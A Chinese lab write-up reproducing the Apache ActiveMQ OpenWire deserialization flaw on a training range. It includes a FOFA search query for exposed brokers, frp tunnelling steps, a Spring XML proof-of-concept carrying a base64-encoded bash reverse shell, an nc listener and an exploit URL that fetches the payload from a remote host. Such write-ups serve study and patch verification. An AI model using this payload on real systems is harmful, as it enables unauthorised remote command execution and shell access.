0x01 前言
在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
影响范围:
- Apache ActiveMQ 版本 <= 5.18.2
漏洞搜索:
# fofa 语法
app="APACHE-ActiveMQ" && port="61616"
复现准备:
- 目标靶场:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com:80
- 公网服务器:10.10.10.1
- kali 本地虚拟机:127.0.0.1
0x02 复现
由于春秋云境服务器无法访问到本地的内网,所以需要一台公网服务器与本地虚拟机端口进行映射。
公网服务器建立 frps 开启 7000 端口,本地虚拟机启动 frpc,通过更改 frpc.ini 添加两个端口。一个用于本地建立 web 服务可以下载 xml 文件,一个用于目标靶场通过该端口将 shell 反弹到本地虚拟机。
1. 公网服务器启动 frps
# 配置 frps.ini
[common]
bind_port = 7000
# 启动 frps
./frps [-c frps.ini]
2. 本地虚拟机启动 frpc
配置文件:
- 本地 80 映射公网服务器 22815
- 本地 4444 映射公网服务器 22816
# 启动 frpc
./frpc -c frpc.ini
3. 创建 POC 文件
在本地虚拟机中创建空白目录,创建 poc.xml 文件,写入以下内容。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjI4MTYgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
解密 echo, 后的 base64 加密数据,更改其中的 ip 和 port,重新加密替换。
4. 建立 HTTP 服务器
poc.xml 文件同目录下建立 HTTP 服务器
# 使用 python 在 80 端口建立
python3 -m http.server 80
此时,在本地浏览器中 localhost:80 应看到 poc.xml 文件。
5. 监听端口等待 shell
nc -lvvp 4444
6. 反序列化利用
访问目标靶场,复制 url:
http://xxxxx.cloudeci1.ichunqiu.com:8080/?active=org.example.activemq.service.SayService&name=World
替换 active 为具有漏洞的模块类,name 值为公网服务器 ip :映射本地80的 port 和 xml 文件路径。
http://xxxxx.ichunqiu.com:8080/?active=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://101.43.68.65:22815/poc.xml
此时,4444 端口监听应返回 shell。
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!